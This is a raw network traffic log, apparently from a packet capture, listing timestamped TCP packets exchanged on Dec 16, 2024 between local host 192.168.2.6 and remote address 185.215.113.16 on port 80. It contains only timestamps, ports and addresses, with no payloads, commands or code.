Dec 16, 2024 15:38:29.452059031 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.452091932 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.452128887 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.515757084 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.515827894 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.515844107 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.515876055 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.515888929 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.515935898 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.516201973 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.516253948 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.516268015 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.516313076 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.516674042 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.516737938 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.516745090 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.516813993 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.516843081 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.517472029 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.517529011 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.517535925 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.517577887 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.517627001 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.518276930 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.518326044 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.518336058 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.518387079 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.518403053 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.519068956 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.519155025 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.519212008 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.519258976 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.519265890 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.519334078 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.519886017 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.519946098 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.519973993 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.519980907 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.520021915 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.520025969 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.520673990 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.520734072 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.520768881 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.520776033 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.520822048 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.520845890 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.521501064 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.521517992 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.521529913 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.521576881 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.521611929 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.522252083 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.522309065 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.522320032 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.522469044 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.522514105 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.522561073 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.523010969 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.523058891 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.523068905 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.523081064 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.523112059 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.523212910 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.523935080 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.523987055 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.524002075 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.524008989 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.524020910 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.524064064 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.524651051 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.524739981 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.524746895 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.524771929 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.524787903 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.525449991 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.525456905 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.525469065 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.525499105 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.525520086 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.525567055 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.526169062 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.526215076 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.526216984 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.526222944 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.526263952 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.526303053 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.527051926 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.527060032 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.527074099 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.527123928 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.527144909 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.527815104 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.527888060 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.527949095 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.527956963 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.527976036 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.527995110 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.583214045 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.583225965 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.583240032 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.583290100 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.583301067 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.583782911 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.583790064 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.583803892 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.583838940 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.583864927 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.584104061 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.584136009 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.584142923 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.584184885 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.584240913 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.584314108 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.584913015 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.584918976 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.584934950 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.584959030 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.584997892 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.585134029 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.585697889 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.585727930 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.585741997 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.585777044 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.585829020 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.585927010 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.586477995 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.586534977 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.586599112 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.641030073 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.641067028 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.641114950 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.641149044 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.641216993 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.641223907 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.641231060 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.641360044 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.641360044 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.641906023 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.642076969 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.642133951 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.642174959 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.642225981 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.642232895 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.642275095 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.642329931 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.642410040 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.642982006 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.643066883 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.643074989 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.643110991 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.643127918 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.643176079 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.643774986 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.643857002 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.643863916 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.643907070 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.643923044 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.644015074 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.644582033 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.644588947 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.644633055 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.707978010 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.708029032 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.708035946 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.708097935 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.708132982 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.708194017 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.708297968 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.708388090 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.708394051 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.708436966 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.708842993 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.708898067 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.708898067 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.708905935 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.708951950 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.709038019 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.709830999 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.709918976 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.709923983 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.709974051 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.710227966 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.710330963 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.710338116 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.710380077 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.710412025 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.710464001 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.711031914 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.711090088 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.711110115 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.711158037 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.711226940 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.711292028 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.711774111 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.711848021 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.711853981 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.711893082 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.711985111 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.712029934 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.712599039 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.712652922 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.712665081 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.712704897 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.712722063 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.712791920 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.713330984 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.713367939 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.713378906 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.713417053 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.713500977 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.713602066 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.714102983 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.714162111 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.714173079 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.714205980 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.714247942 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.714292049 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.714936018 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.714991093 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.714996099 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.715033054 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.715044975 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.715089083 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.715729952 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.715735912 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.715754032 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.715780020 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.715920925 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.716382027 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.716538906 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.716579914 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.716592073 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.716620922 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.716654062 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.716701031 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.717324018 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.717379093 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.717384100 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.717427969 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.717499971 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.717542887 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.718127966 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.718177080 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.718183041 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.718225002 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.718305111 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.718347073 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.719201088 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.719254971 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.719259977 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.719295979 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.719301939 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.719355106 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.723293066 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.723371029 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.723377943 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.723423004 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.723510027 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.723515987 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.723526955 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.723561049 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.775592089 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.775741100 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.775749922 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.775765896 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.775794983 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.775827885 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.775867939 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.775875092 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.775887012 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.775918007 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.775994062 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.776082039 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.776681900 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.776737928 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.776745081 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.776793003 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.776832104 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.776884079 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.777760983 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.777858019 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.777899027 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.777909994 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.777940035 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.778367043 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.778414965 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.778422117 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.778465986 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.778501034 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.778558969 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.778975964 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.819782019 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.859529018 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.859559059 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.859565973 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.859616995 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.859633923 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.859740019 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.859803915 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.859903097 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.859909058 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.859940052 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.859949112 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.859981060 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.860721111 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.860734940 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.860775948 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.860933065 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.861028910 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.861074924 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.861136913 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.861211061 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.861270905 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.861823082 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.861860991 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.861872911 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.861907005 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.861982107 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.862051964 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.862624884 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.862709999 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.862720013 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.862756014 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.862988949 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.863518000 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.863528967 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.887900114 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.909126997 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.909406900 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.909415960 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.909430981 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.909436941 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.909477949 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.909492970 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.909499884 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.909657001 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.909657001 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.910155058 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.910249949 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.910255909 CET	80	49747	185.215.113.16	192.168.2.6
